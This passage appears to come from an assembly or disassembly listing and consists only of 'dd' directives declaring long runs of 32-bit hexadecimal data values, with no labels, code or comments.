dd 74B88AFh, 4F010014h, 25175FCEh, 830082F7h, 1D286860h
dd 93656Bh, 0F13A161Ah, 37A35CBFh, 3447AA0Fh, 0DC102053h
dd 1856A7DBh, 0A04666B5h, 0D102E45Bh, 31C4C343h, 0AE5E4053h
dd 7096001Eh, 8B4B2CAFh, 0D20073ABh, 252FFD49h, 0E8CE7A21h
dd 6BC1004Ah, 2EEEF6B6h, 0FE008A9Ch, 2B8A5EDh, 9A362A4h
dd 0CE6FEC50h, 0B7012C00h, 0F1009844h, 0A4EE46E5h, 4F89103h
dd 3DECA6B1h, 0C09087ADh, 64A9F080h, 6ED4E904h, 70C02857h
dd 145DF65h, 4F6D18F7h, 0CF76A76Ch, 1BFC002h, 0A05EEF29h
dd 79AF9688h, 21E46070h
dd 850C3EDAh, 8A00227Fh, 419AEA33h, 382DC0F6h, 58035012h
dd 0A27B380Bh, 2784EE0h, 9FFC3902h, 0E01E6B98h, 0F0EB6C0Fh
dd 0E01A00A1h, 0A49DAA2Fh, 0BF2CAD32h, 0D3002CE8h, 0FAF17A4Dh
dd 0BE451365h, 0C4140070h, 0CCE71847h, 8071F338h, 5B228CBAh
dd 4F207EFh, 4B39C25h, 6904C2EAh, 0DD041044h, 166B8A30h
dd 0E4712880h, 1E2C0092h, 0C559B999h, 76588863h, 945F005Ch
dd 1CF23C06h, 1CCEEAF9h, 80C29169h, 1492D6D5h, 800DB1F1h
dd 0A8E2ADB5h, 4CBEFAD8h, 0DF054855h, 400D1812h, 2C523B0h
dd 0E609B7F1h, 204C2A50h, 0D426D368h, 79880943h, 0FC0E44D1h
dd 9415F6E0h, 8A051AB9h, 0E682D525h, 0AEA96480h, 0E27E0085h
dd 0FA324BCCh, 0CE0316C6h, 0C58219FBh, 1B8A012Dh, 0FD70B693h
dd 412830DEh, 0A4F50C00h, 3B9E12CAh, 13F0017Ch, 57E52D9Dh
dd 888020A2h, 0CC002F73h, 0D2869487h, 1C97DE39h, 410384A4h
dd 92A8E8D5h, 0A513D0EEh, 52B59500h, 0B623E13Fh, 0B4C8072Ah
dd 118F71D4h, 70D3275Bh, 1090433Eh, 4D60DB00h, 7C50DC4Eh
dd 8CF301ACh, 5D7FD9C3h, 4C8AF88Dh, 0EF2DFA03h, 0F8441825h
dd 3715110h, 6428DC6Ch, 0ED804DE2h, 74908570h, 88FFA700h
dd 0B6301110h, 52A4A8A8h, 0C1560094h, 0D9511A2Dh, 1400E245h
dd 6D585C0Ah, 92B1050Fh, 8BE71358h, 7FCA0080h, 8A44803h
dd 98044090h, 0F5ABB85Ch, 0F837A900h, 8883FE7Fh, 7EB1BA8Dh
dd 72961239h, 84DC00E5h, 8027588Ah, 92A63609h, 9BA0800Eh
dd 0AF3C2Fh, 0B7F4DCF6h, 29189D2Bh, 45058701h, 0C9B42EB1h
dd 0B88219EDh, 2D5E2431h, 4F1F404Eh, 824B9FC7h, 9458006Ch
dd 3D63D34h, 0E447DD0Ch, 41D7038Dh, 240D2D1Bh, 0B5125338h
dd 4442ED6h, 90D10B63h, 97EC14E9h, 0A570C512h, 0B6AB0A0h
dd 0DCD0CA01h, 88BDAA58h, 1FB814FCh, 701B8Bh, 0ED3D4D5Eh
dd 0CB1E05CDh, 230E66F8h, 4072046h, 5C405F80h, 0A000D1BDh
dd 368C1179h, 0D730EE93h, 4CEA109Fh, 61F4C3h, 6A68D23Bh
dd 0EB7A8A6Dh, 0E275A300h, 0CA249359h, 95A7007Dh, 0A8DBFEECh
dd 0B63ACC03h, 0BBF4D03Bh, 5115F50Fh, 18FD20DFh, 176BA91Ch
dd 1DF916DEh, 19F7EC3h, 99CD8004h, 63BFACECh, 75232200h
dd 8DB24AC8h, 0FEE200D0h, 2D3C1BC5h, 34B06A91h, 0B7A24612h
dd 3FE90098h, 0CE807638h, 9535FC27h, 5907E1DBh, 56C27BE5h
dd 4E7AC390h, 964C14BDh, 0B809CC7Eh, 0A005A65Ah, 0E970C849h
dd 67633Dh, 79A3E5EDh, 0B84759C7h, 0F9423820h, 0F4E26E00h
dd 0D31C0481h, 7093B90Eh, 1946C096h, 1359F30h, 3CF8F6F2h
dd 32025B60h, 30B22E24h, 0E9256800h, 132467h, 4D8EDB2Ch
dd 3D3F73Fh, 9D001970h, 0E37A8747h, 903BA070h, 9E0041Bh
dd 903AA415h, 83D7B3A0h, 0EB061600h, 60C71EB9h, 0B61305FEh
dd 0C0471229h, 0FF1CE672h, 377D43F4h, 31B7330Fh, 0FD4DA0E8h
dd 0C06EC890h, 0A94E53B0h, 0C204CD72h, 0FFFA8AC5h, 340C9881h
dd 7ACC8848h, 5C6913D4h, 0D3180E30h, 2C8458C6h, 0DE26BB80h
dd 15B4A12h, 942008C1h, 0E7CC8431h, 0E59B00D9h, 3F57B57Ch
dd 0C025286Eh, 95C80416h, 9E654FC0h, 1CD7195Bh, 0E8621805h
dd 7500C44Bh, 79E85695h, 113523h, 8C0A773Dh, 788EA781h
dd 0D910E300h, 0DC039061h, 20600E95h, 47808545h, 0B567A38Eh
dd 7E3E8A00h, 0DB743B5Dh, 43F60028h, 75093C04h, 11F203B2h
dd 1E7AD807h, 0C610A445h, 7829E4Ah, 67726ABh, 0FAAAB180h
dd 74BC40C0h, 0A5003109h, 5C5BB4FCh, 7E62C2h, 3A72381Ah
dd 0E8D8541Eh, 0EF499000h, 9FF81F4Eh, 2FCB87Bh, 9BAD9C8Ah
dd 106157D1h, 0CCAAC8A9h, 183D032Ch, 0E4DF0100h, 71A6A01Ch
dd 7C089A25h, 4C80006Bh, 0C1230874h, 1702EC56h, 6E82DB87h
dd 71B0E164h, 758EFCh, 8D26597Dh, 5B6B1848h, 559D9800h
dd 0C7202987h, 4BE0F867h, 469870E4h, 0F8A0D612h, 0D7027AFh
dd 4F58621Fh, 0E36BCFh, 74604A3Fh, 0AE10C075h, 0F9F1EAA3h
dd 0F4FBF388h, 78D02CF6h, 0A45D0020h, 6C3213B3h, 284B3624h
dd 80C75708h, 9985329h, 19306A54h, 77D366A4h, 615C0055h
dd 3AFBEE87h, 4FB8BFB4h, 0C76D1100h, 3D0DA15Ah, 2AB90066h
dd 7B72F505h, 0BB50E347h, 0A90073B2h, 0E29AE543h, 4A8DCD4h
dd 7B108339h, 94846Fh, 9F915ABFh, 5900C0FEh, 1E2B69DCh
dd 0FEAFBA22h, 0C4A20792h, 0F30DBD45h, 16806DABh, 0B500E3E2h
dd 0CE720988h, 26A418Dh, 0ED7CEE05h, 40607164h, 0F6426286h
dd 0E81AE900h, 0F078D7B7h, 1F4CCE00h, 967E8456h, 55A20008h
dd 49912502h, 17778C41h, 0AD8F5101h, 0D026B76Bh, 5AC6960h
dd 0FF53FA25h, 0DA980E81h, 0D2C0D875h, 52B1C422h, 99C15300h
dd 17DDCF14h, 9846E81Ch, 0EBBB0650h, 11882FD4h, 1B3F820Fh
dd 23514017h, 4F21A2h, 0D622D9BFh, 6E0309A1h, 0E5E833EEh
dd 40E9AF00h, 97461506h, 0A0A0A00Bh, 0ED20557h, 1EAA3Dh
dd 811F9E83h, 0AF24767Ch, 0A100D829h, 0F12334F8h, 820C0025h
dd 1136F3FEh, 0CC00665Ch, 19694E6Eh, 0B63E0Bh, 37B19CF6h
dd 0D4E36C4Dh, 304C783Eh, 10C411DAh, 0ABC901BDh, 0B81505A9h
dd 0F7898BACh, 2BB01031h, 19213D64h, 82942724h, 57743DCCh
dd 41168840h, 0EBCDDB00h, 0D7B8C3C7h, 5F7D0052h, 0F29D09EAh
dd 0D6072859h, 9CFB6E68h, 5C168059h, 61AE46Ah, 3892E535h
dd 0CE0021E0h, 0C8C0F23Ah, 551FCCAh, 0E3794715h, 0A8D08023h
dd 2F005D69h, 0CC579E32h, 4B4B18Eh, 70B2B35h, 5F28A0D4h
dd 4D679900h, 0CEF1E676h, 376B0091h, 5304C750h, 64B8829Ch
dd 0A3183A00h, 738743C8h, 0A0C00951h, 0A4E0161Bh, 6D3949B3h
dd 5408E65h, 400D7E2h, 3112F8EDh, 34EB588Ch, 0BC332404h
dd 3A54B084h, 5E0EA900h, 0F7E4DBCAh, 562C0046h, 8E162A11h
dd 0A00088E7h, 8AFF01Fh, 0B219B93Ch, 9CCCB12Ch, 8D00E05Fh
dd 675A8604h, 5DCD14h, 6171348Ch, 0E03BFC9Ch, 8B5BB01h
dd 0CA2BAE5Ch, 0F14E3F4h, 91B15064h, 9F988EE0h, 160F0766h
dd 811AA6ACh, 24EAB8E8h, 0E89085E8h, 43026ECh, 2D4126Fh
dd 8C2A9F7Ch, 93E42070h, 989E4017h, 81F9813h, 90803CA4h
dd 79B8F252h, 67AF0974h, 820E26Ah, 0B5471CD8h, 0A03B27h
dd 0CBD91EC4h, 0EBF242h, 21AF0D5Eh, 0FC12D23Ah, 17D75200h
dd 5429ACD0h, 0BBE503DCh, 0F056A471h, 4925B580h, 0AFAEBC00h
dd 55ED3191h, 4C50987Bh, 0DF1EE2C0h, 1865772h, 0A30D9B8Ch
dd 9DFEE4C2h, 0C3F7E204h, 480E340h, 2FBCD53h, 0C5EA7971h
dd 0A8D22532h, 4868983Ah, 9F0C8110h, 61306FDCh, 341900A5h
dd 4DDD6B84h, 4526C7E9h, 45264051h, 1172802Dh, 51E64F1h
dd 7FC88ED8h, 0EA94009Ah, 922DB632h, 3AB31917h, 0ADC0001Eh
dd 44C37114h, 0E905254Dh, 47BC6C80h, 0B43F59FEh, 0EDFF82E2h
dd 401AF85Fh, 0F64B08h, 59DD9BCBh, 197886AEh, 0C916EC00h
dd 9EB180DEh, 18389066h, 517E89CDh, 7900C63Ch, 7FD49B1Fh
dd 6F4570h, 288F14DFh, 9DB33605h, 2C088607h, 0E4009424h
dd 70938D2Ah, 0A44000F3h, 8F6A8098h, 98B899FFh, 4ED41203h
dd 1D9AB824h, 0CFB9BF10h, 0BE091F5Dh, 8BFDA480h, 1A002DC2h
dd 49628710h, 0BED8218h, 84938AC4h, 0A6C21440h, 0FFC66B00h
dd 23B0FB98h, 0B882004Ch, 0A574E73Ch, 44098901h, 9A9FC5FEh
dd 50176074h, 482549D1h, 4075E201h, 348A76D8h, 6A07E874h
dd 1F6415F7h, 0B6E52971h
dd 92501880h, 0D767F34Ah, 7177400h, 7172D042h, 0D39509E0h
dd 740F946Bh, 2ED80077h, 68C51DA9h, 0DE103F60h, 2C9A2051h
dd 8A466F7h, 5F81DC21h, 0FCEBF253h, 0EEB78424h, 0D90101EAh
dd 0CE88DFDh, 6321F0B4h, 97AE9300h, 77380DB7h, 25BC0C39h
dd 9BC8F9CEh, 64EA480Bh, 13D48017h, 0CB5531h, 8F3D74A1h
dd 0D86BB9D3h, 0F7779F00h, 0F5FC0B3Ch, 984ED0h, 0D6DA46C8h
dd 0FA01D4B0h, 0B5BF3FDBh, 0CE94EBBh, 383CB570h, 35025310h
dd 4B8ADA43h, 0C7EE2EC0h, 0BE541938h, 68B10041h, 96766269h
dd 0E2280093h, 7084EE4Ah, 4C006527h, 17DBAF18h, 3BBB2901h
dd 8009E36Dh, 94073628h, 0F2D36216h, 0E5B809E3h, 0EC00DC3Eh
dd 0B2FB6CB6h, 0E31351Eh, 0D95D0D8Fh, 0C67C2C57h, 0EC39DA45h
dd 0FF7A400h, 0C17FD5Ah, 0F255AA00h, 0E34164F9h, 1C9F3AE6h
dd 0AF60FAB0h, 99005B31h, 154F6BCh, 46090C0h, 1441BA08h
dd 53890A9h, 7013A21Ch, 4C40230Bh, 6652F701h, 0D2B80090h
dd 713263F4h, 31242BBDh, 3DA658h, 0E26C48F7h, 245781A5h
dd 0E8AE4Dh, 0C244CCDAh, 0B90364C3h, 0FEA3D60h, 0A3DDD0FFh
dd 0BD1404B1h, 0C07E1927h, 0D6B3E1C4h, 248F5000h, 7B0445A2h
dd 4B3A048Ah, 0A313E67Ah, 6BA901ECh, 0C6BF5D3Bh, 0E19990D4h
dd 2151D70h, 0EE93377Ch, 7860A1D3h, 1D0130D6h, 23226075h
dd 49F0F38Eh, 0B09873h, 2A92905Fh, 0C5A4E50Eh, 45E4AF0h
dd 130063BCh, 0FFFBEB71h, 4300BEF6h, 0E6159392h, 60E0A403h
dd 0B4233818h, 0FAFCA246h, 1FC22D02h, 400BD817h, 0F01670h
dd 18AF8D4h, 0C8B8DBE0h, 1393EC00h, 0C4EFFF4Fh, 256D0981h
dd 0BC0053CCh, 0EA8FFB4Dh, 32DDDE00h, 0DFA05643h, 2DB71D0h
dd 0C2FE4C80h, 400D2Bh, 0A17A6CBh, 0B0906FE1h, 2F9BD9h
dd 0CA5F9D72h, 94F40362h, 0C91E0200h, 0C68FB05Ch, 90F300D3h
dd 0DEC2BA78h, 96EA52BDh, 3C4474EBh, 12B65D62h, 93C4846h
dd 0F74D24A8h, 1D2485D8h, 80689095h, 0CD5DD3B3h, 0A840DE60h
dd 0C8EF42F3h, 63A03845h, 3FCC4E80h, 5D6DF521h, 426C4601h
dd 6B53FA24h, 79F060h, 0B2C68AB3h, 5A737B6Ah, 0F63DEC90h
dd 8F84973Eh, 3546A440h, 90958757h, 2F7D0B48h, 0A0C80A4Eh
dd 50074A2h, 1B28D1E5h, 1948C7h, 934D80D9h, 0AB63FD24h
dd 0F6948h, 0C10D55A9h, 2F61D5EAh, 0B0076236h, 0E221608Ch
dd 0D95DCEE3h, 343B0E4Ch, 3CCB64DAh, 828910C0h, 0D4463023h
dd 4BAFE060h, 80F0045Ch, 5A54C95Ch, 0CDCE0F15h, 5E47519Ah
dd 3332A00Eh, 9CA05BFBh, 4201E5BEh, 0F58CCBF1h, 0AFDDCE77h
dd 0E49C30h, 522EDB0Bh, 0E52F974Ch, 700C9E02h, 405A6E8Eh
dd 179CFD10h, 0C7638789h, 938060FCh, 5900A682h, 9594D23Bh
dd 8620B3h, 0EADE61D1h, 8883E2C7h, 0AD58E713h, 0A0651C5Fh
dd 8EB10198h, 0A11A0F52h, 206DED54h, 34C2CC68h, 21AB3E12h
dd 45F4C47h, 542E9B60h, 4979284Bh, 0A5DA1388h, 645020BEh
dd 0EB5A2342h, 16EE1000h, 0A1775111h, 0CDED07CCh, 1F4CB7FCh
dd 80904F69h, 22B96F4Eh, 0E76E0F4h, 2496B224h, 0BE6E9400h
dd 7C535102h, 9DBC3086h, 22915518h, 0CCDBF807h, 0D282E947h
dd 604C4242h, 0E19E32FAh, 4000D0BEh, 33A4BA13h, 0A71376FFh
dd 6B003083h, 0ADD1F497h, 6C451C7Ch, 13724249h, 0C0806AB5h
dd 0E9FF0851h, 6C8CA00h, 33832D48h, 78CC74F1h, 297E4Dh
dd 0D9F70DDh, 0B5988134h, 162FC903h, 0BB9343A0h, 7F61A077h
dd 0BE7ECDh, 95F3FB86h, 0BAE73D19h, 30800148h, 28536A96h
dd 7DC302B0h, 0ED64292h, 41E42861h, 0CDB57BD0h, 0AEB2F0D9h
dd 0D44D7A01h, 0C052AC64h, 9E88C4h, 41D68A79h, 0F0773D7h
dd 200EA727h, 212075ECh, 2D7D009Fh, 92DCF589h, 0B8B85323h
dd 66BC091Fh, 4EBC3825h, 85390513h, 0C561AF67h, 80889504h
dd 77EEE04h, 0AC401D12h, 26E7F444h, 0BB82E4E2h, 20482B36h
dd 7900D91Fh, 2F5589A1h, 3FF00Ch, 4FAA6F40h, 38E36C03h
dd 0C5739800h, 15067F1Fh, 5795AECh, 40D80B10h, 0D7375CD8h
dd 0B80A2DD0h, 0F0550DF9h, 16823201h, 0FC601A7Eh, 0CE9418C5h
dd 52E18862h, 0FE487D00h, 219D6DA9h, 0BA82052Eh, 0BB9AF550h
dd 26C0A887h, 56C16Ah, 8F1FAC46h, 0D543811Ch, 9E0E9201h
dd 27C915F3h, 26F8D8h, 61E7A874h, 0EDE9D265h, 43903CF4h
dd 0C01B8FAh, 307222FFh, 40C8B57Dh, 0ACF43BE6h, 62EB7380h
dd 296B6FFAh, 89C73600h, 0E39CFF49h, 52E50013h, 0F64590D5h
dd 0C4036E74h, 10D03FB0h, 0CCD8F0B6h, 0E16600F0h, 0A7628EDEh
dd 2E04429Bh, 55875486h, 850B1080h, 12E90222h, 0DDCAED82h
dd 9042E4AFh, 0FCE0E4CFh, 64056699h, 0DF378387h, 0EC24C780h
dd 0A51300BFh, 2DB0D170h, 167B794Ah, 10D36224h, 360CF980h
dd 888C31h, 0B0D8DADDh, 0BD939482h, 3B79C30Fh, 1C50E0EBh
dd 48A68D56h, 580E127Ah, 0BC40142Dh, 0F76A4D7h, 0B9B8CF5Fh
dd 0C9D86E2Ch, 523A5881h, 2ED1F4BEh, 49E57600h, 0E6D3C7B2h
dd 86E060AAh, 0E10C28A6h, 9204E4F4h, 0DE956CFh, 86FCD080h
dd 6C3802BCh, 3F1EC013h, 6B24DC60h, 0E578E0Eh, 6792A0BAh
dd 432F0C2h, 80AEBB53h, 9E6C88ECh, 901DE237h, 90378830h
dd 0DE000E4h, 98A31E25h, 811FE36Bh, 0BC9E5573h, 0A59C4541h
dd 9820443Ch, 5C9A0071h, 2270EA6Bh, 44B098DAh, 28C4D013h
dd 891EAEh, 0D473C3F4h, 0A00055ABh, 82CD392Eh, 171DED74h
dd 1F42168Fh, 81500284h, 94608E69h, 0EF00307Ch, 17021A0Ah
dd 76729BFCh, 0A4804D1Dh, 7CB4FB01h, 0F3EC1C20h, 80414CC9h
dd 1165EAF8h, 0E2FDED6Fh, 0DE4F0F28h, 1261C69Ah, 0CFEA6D15h
dd 8AC4D9A0h, 600ED05Ch, 778E06E0h, 0D41F48ADh, 61394300h
dd 48708635h, 0DCF37600h, 0F4FB2053h, 0D5A301ABh, 0C0D8308h
dd 24184BCh, 0E0AC85DAh, 614BD800h, 0D44F35F1h, 0B0994630h
dd 9DF47CDh, 17AD8869h, 0BD4424A1h, 0E0D180F5h, 7B57314h
dd 0A98526EBh, 0A6770055h, 0C3FBEF24h, 28F29501h, 0B78EB31Fh
dd 64A3C74h, 41571ACh, 3504890Fh, 98D1328Bh, 0A14A7080h
dd 0ADB1EBBh, 1A2E00A7h, 0F2A0F147h, 638D1700h, 36EB2ADCh
dd 319A00A8h, 4A4FA40h, 2500E738h, 1267B748h, 4F5966h
dd 0D53B6AF7h, 0B0CDF9EAh, 33D18700h, 7A91046h, 0E967018Ah
dd 9383768h, 0DE0AD8A0h, 57DDA3Dh, 0C4412388h, 0FDBE5280h
dd 3E81F69h, 4D5007AFh, 0BC294497h, 0CD620150h, 0D73530FBh
dd 0E6388C2Ch, 8B31D200h, 0C654BE84h, 8221F212h, 39D904B4h
dd 0CC508EA9h, 8449001Ah, 17E843D4h, 8500E660h, 8D2B2CCCh
dd 7257376Bh, 3CAFEE9h, 0E59CC1EFh, 6903D6D5h, 103EB355h
dd 0A616F14Fh, 348B830h, 1F0B6B8h, 103C55F3h, 0BFCB03C8h
dd 0A8A8C210h, 73BD55Bh, 0C17550EAh, 70D8008Fh, 0B200FA8Ah
dd 5F60DFE3h, 8D3E83h, 0DDE53B21h, 1785486Fh, 0DF00A6FEh
dd 71E0D6B0h, 326E24Eh, 0D8F7A3AFh, 39020D66h, 93495DEAh
dd 0D55481D9h, 864CA69h, 0B61F0C9Eh, 77A84DB4h, 0D56B4B0Ah
dd 901C1066h, 63671CE8h, 9400F85Ch, 0FB22D0h, 8733AA3Fh
dd 30322CDAh, 0B67E5301h, 0D4C2FC8Bh, 0CAD3D0h, 61FAD7A4h
dd 0AC56C56Ch, 7EF14B00h, 2A295302h, 66B30050h, 4EC110EBh
dd 0A400B7EEh, 0F769E070h, 960A0D5h, 77F97FA8h, 61910755h
dd 1A873D05h, 0F2459880h, 0C5601BFh, 3EA15710h, 712ED417h
dd 54849303h, 9089BEB2h
dd 0E49D9BA4h, 1CE80026h, 94BACE2Fh, 0E47C41A5h, 0CCF2C0E6h
dd 0C8070B00h, 4FDDD82Ah, 0C19B1F9Eh, 1AFC81D4h, 0D8144450h
dd 9008CD2h, 3418B26Bh, 303716E3h, 6D61B1BEh, 3D009057h
dd 4CC91945h, 0EFDCFh, 84D02475h, 0F299C192h, 90816B1Dh
dd 229B96C0h, 2605EADDh, 0D3F464h, 0D0143BE1h, 16E87029h
dd 98940A00h, 96696B3Ah, 0E0E90377h, 58086182h, 0BA857FC1h
dd 0FC7C8111h, 24143184h, 64037840h, 1FD1FA4Dh, 58AC5544h
dd 0FD4118BEh, 0E4081660h, 0E4246AAh, 3AF9BC7Bh, 6D84C0DDh
dd 79678FA1h, 916418A0h, 7AE79000h, 0BACDF83Fh, 173500F5h
dd 4B3DE2D6h, 4400A42Bh, 8992EB58h, 4FB9A3h, 0E30F72C3h
dd 57343E79h, 0F285Ch, 0D22FCE0Bh, 68D67A7Eh, 57041174h
dd 0C8722486h, 8B180010h, 5584D79Eh, 890F0F30h, 0C04AAE1Bh
dd 85D9297Fh, 6B3C0049h, 0D042C64h, 5500A9A7h, 0D4EB90F7h
dd 5724DEh, 8489C360h, 0FD32D8BDh, 0F629AE00h, 0D68AEF27h
dd 0E9DF004Bh, 35442190h, 937EE822h, 77607600h, 0E1F7F0D7h
dd 540500A7h, 0E860B47h, 4E00C7E2h, 31E462DBh, 1E80E013h
dd 40D0E924h, 0CDDA7A3Bh, 741F292Fh, 1D008125h, 0DE6F37F0h
dd 0F7AA00FFh, 6A10678Ch, 0A1005C49h, 0F639EBB4h, 7C09FB97h
dd 68CE3F5Bh, 1D90E180h, 270FC810h, 613E7B00h, 47313C66h
dd 74A20282h, 0EFA80B43h, 0C991B9C0h, 2AAD9B00h, 0BE7F0F66h
dd 5C9E06F5h, 393D967Dh, 9F00F6B0h, 0AA6273E0h, 50FBE1D7h
dd 28B1B8D3h, 84407Ch, 29EFB947h, 0B47E94CEh, 0BFF6FE01h
dd 4A9986FFh, 9803D050h, 118A0073h, 19437C4Bh, 0F60254ABh
dd 7597E913h, 59C280D3h, 0BAEC430h, 92ED5DB9h, 99C7A280h
dd 0F1006337h, 61BE0B45h, 3C74280Ah, 6C82C8E0h, 7CFCA9E9h
dd 0F48ABC80h, 23EF722h, 0E398000Fh, 1F41EF85h, 0CB630132h
dd 4C54F6F1h, 1448C886h, 0E43ED800h, 0FCF91335h, 7A4A015Bh
dd 8ED22EFAh, 7D804360h, 0F5404F0h, 33519906h, 185C6Eh
dd 0B8EB09A0h, 52DAE17Ah, 0DEC4C618h, 406898h, 2A14B68Ah
dd 0FF1DDF7Dh, 43D5A209h, 28582047h, 0D62B68h, 0BC383A8Fh
dd 5BB91BCAh, 8C198500h, 4B473B0Ch, 36793C4Dh, 2B80EFBAh
dd 235E2A2Eh, 0B4010B3Eh, 5DF855E1h, 5BE8BF59h, 45011EBBh
dd 68E240D3h, 521596B1h, 91C0EC14h, 0EEF600C4h, 0F2A80140h
dd 0C1E0A8F9h, 8AB50BF7h, 3571264h, 71696A37h, 0A0930598h
dd 408083EAh, 1B19DECh, 0A50712C3h, 17F145C2h, 707E80BFh
dd 1BBCD3h, 0FEF3C958h, 0C4247C65h, 0A70EF27Dh, 0C56F6B3Eh
dd 0F4012A72h, 0C178CE4h, 1FB68C24h, 0C19F25F9h, 48D3ED5Eh
dd 8CE824C7h, 0F6F0E0BFh, 0C0BE0059h, 7A5B9F68h, 94180183h
dd 1540551Fh, 7D460734h, 0A776C3C8h, 0D470B0E4h, 97071CB9h
dd 33D9938h, 0EFC2B130h, 17B300EDh, 915A9807h, 7900D0A2h
dd 0CE2A5F92h, 9C3D3Fh, 0F0B32FB4h, 37C46D3h, 8B07D87Eh
dd 8916F66Bh, 0D03563F0h, 0FCEB03AFh, 8D7F448h, 650020B6h
dd 0EFDF569Eh, 0F61280Eh, 648F3D89h, 6C4BE580h, 340B125Eh
dd 80A911E9h, 809AEF32h, 3BF30097h, 0DDCDD79Bh, 0BC0EE24Ah
dd 8069F72Eh, 565B265Fh, 7E4B399Fh, 0A77C2180h, 8C0B6C0Fh
dd 863FA40Eh, 0A2DAAE3Bh, 48DF8103h, 0F82ABB4h, 98FB2A1Fh
dd 45D05122h, 70DD5841h, 1607E63Ch, 58EAB76Bh, 3B93B570h
dd 85F6006Ch, 0ED05A215h, 5E02F1B8h, 0C2DBD132h, 2D848708h
dd 0B66DF470h, 4B16008Ch, 0DD4C58E7h, 1E03673Dh, 0C3898EA2h
dd 7C803F0Eh, 0A9B1Fh, 7AF42507h, 6103FE69h, 0E34E29E8h
dd 0DA50E777h, 3C4499EDh, 3F805F85h, 2B4CF2A6h, 8200F153h
dd 7DF42947h, 306AAA7Bh, 98104E7Eh, 63000BBDh, 8D324F45h
dd 18FB52BBh, 2054CC89h, 5E004192h, 7433FFB5h, 44CD875h
dd 0DB55F1DEh, 0D3B080E4h, 3B0012F7h, 0E7354680h, 0C1F939h
dd 58F59DEEh, 0DE4D0853h, 27C0EB4Ah, 0F3F6B2h, 18FEB931h
dd 1FD9092Ch, 4A90AE1Ch, 0FB348500h, 0FB4B72A9h, 0C0D28BDCh
dd 0EF661220h, 370198DFh, 5CCEBA9Ah, 0C7DC0D46h, 3F1B0091h
dd 6B569C40h, 3300178Bh, 0DE9D7227h, 789C7F7h, 0ED80AD2h
dd 546B80A1h, 46002ECEh, 50A275E5h, 0DCC1E0h, 0B1A3DA78h
dd 89D2ECF1h, 30FCA00h, 55BBEE4Fh, 9B1100F4h, 0ECA3C3E9h
dd 0BFE25748h, 9FC98904h, 87800D13h, 0FA4BADh, 0D9A4AE97h
dd 33548A65h, 16422203h, 66650DFh, 0E290A762h, 800B8DDh
dd 32119837h, 3F1AC1h, 0B90D02BDh, 9CC9B90h, 23A98300h
dd 0BE507DD2h, 32DF00F0h, 2BF38B05h, 1E00AEF6h, 0B9DD7626h
dd 5C077B56h, 8903F52Ah, 28E95387h, 59D61000h, 0E76E5CB2h
dd 7E9D0083h, 80C17F12h, 0C2003CC4h, 0B3B059BFh, 0AB3F26h
dd 995FD2A6h, 29F310C8h, 0D1155C00h, 0FAFA7C6h, 3A4A0E30h
dd 70609491h, 6C13FDF8h, 479EF00h, 0FF61A84Eh, 82A302CCh
dd 240D7A8Ah, 0C1A0DB63h, 120571BAh, 45C53867h, 213D5680h
dd 0D093007Bh, 0E8F8223Fh, 0D5079239h, 0A887130Bh, 1ACEF6F1h
dd 330DCD4h, 9DC08B40h, 0D0FF2DF2h, 84EB5318h, 4D175401h
dd 0AF37F5E2h, 0B4D80A31h, 38C00A7h, 3CDC8147h, 677EF936h
dd 0F5339278h, 0C3831114h, 33C7E069h, 4C81C625h, 0F93008FCh
dd 675D2061h, 54E87Bh, 624D9CBh, 0CB743FAh, 0B901FE74h
dd 0BE3868F4h, 36207E71h, 3E3107FDh, 306AFA11h, 29C260Fh
dd 42257500h, 0D06973FFh, 0F880C07Fh, 0ACA1D1E7h, 0AA580D0Bh
dd 0A0F880D8h, 0A0776AD2h, 132A248h, 9C15B383h, 0D01E0F49h
dd 0FF0C110Eh, 4834C07Eh, 0DEB60EE8h, 3E2BFDF0h, 3B21E00Eh
dd 0CC56E596h, 1D01EFC7h, 3780F863h, 67E4F9E4h, 64FC00ACh
dd 699FAA02h, 3900C1DDh, 0E0FA154Eh, 8750A1h, 0F4584208h
dd 0AE9555F9h, 0D8A88900h, 6E12D7FBh, 0E2A9F43Ah, 41AA0039h
dd 69D2BAC3h, 0AC034F91h, 1C05E52Fh, 36DDC03Dh, 25E90F85h
dd 6820AA70h, 0FAAF7304h, 6A839B00h, 0E05EA72Fh, 3AF700ABh
dd 7316CA66h, 0FB0023CCh, 2432527Fh, 9E572Ch, 7EBEA994h
dd 0AD0D8580h, 3644490Eh, 0CCF3E021h, 7C7D9648h, 4BF70011h
dd 0E8461E3Ch, 0E8A40142h, 77009879h, 952B6756h, 74437F25h
dd 0E5B03092h, 770EA120h, 7A01B577h, 0EE652972h, 58822498h
dd 9A7BA473h, 5B1803h, 0B59F4230h, 91B28644h, 61021F4h
dd 0F0444BDCh, 27594CE8h, 47D86705h, 310C01C0h, 0D4335304h
dd 593950D1h, 22F6000Fh, 0E0FB8ADEh, 69360C62h, 883184C0h
dd 74E25E1Ch, 0FC3EF503h, 4C093067h, 0E246A821h, 35A26300h
dd 12CCFD82h, 67570099h, 9BFA4DEh, 214F662h, 23309ED2h
dd 0E25B004Eh, 45BDFF59h, 3D544486h, 3E24307h, 0DB06B574h
dd 7A8B7CF0h, 881130E5h, 0DC3CAA10h, 0CB82A401h, 832D4A60h
dd 39A31FCh, 0C3BDBC8Ch, 25A8E6D9h, 2E00E508h, 19C26135h
dd 0B8DA760h, 80854831h, 7D9BC300h, 6A072941h, 40D41FE8h
dd 3BF17E40h, 0CCAE00CBh, 86DF44C4h, 0A6000AF5h, 3427C602h
dd 1306DBBh, 8C0E92Dh, 0E0A0C122h, 0D3F68FA3h, 6CBF2100h
dd 40EB1C43h, 0A2A25C05h, 1E8AE503h, 8380A1B5h, 71021082h
dd 1720F962h, 13E3607Dh, 5203008Ah, 0FB271549h, 0D302FF67h
dd 1C797AD6h, 0F9CC40CEh, 594C01D7h, 8853D582h, 17AFF087h
dd 0BBE6770Eh, 0FCBC05Bh, 201A43h, 0F9DE0DA1h, 0CE13A9E5h
dd 8315B000h, 7B5D5E8Eh
dd 59F66Ah, 0B2B3277Ah, 61AB3ADCh, 0F35C3500h, 0D66AB660h
dd 34D10FD2h, 5B617ADFh, 0CCFB7E4Ah, 20004318h, 135DD94Bh
dd 992A2Eh, 59AB891Ah, 63105B28h, 0A68FB400h, 7CCBDDCh
dd 9DB37841h, 0A9CD7100h, 390F628Eh, 8A797FD9h, 187C04D6h
dd 4038A99Ah, 940024B1h, 0E297117Eh, 7889726Ah, 8F51015Eh
dd 46E39AFEh, 9E288E2Fh, 561190BEh, 0A2B41169h, 1E08E721h
dd 845A90C1h, 0AB48A3B2h, 8E22C244h, 89AD2910h, 0A15F08AFh
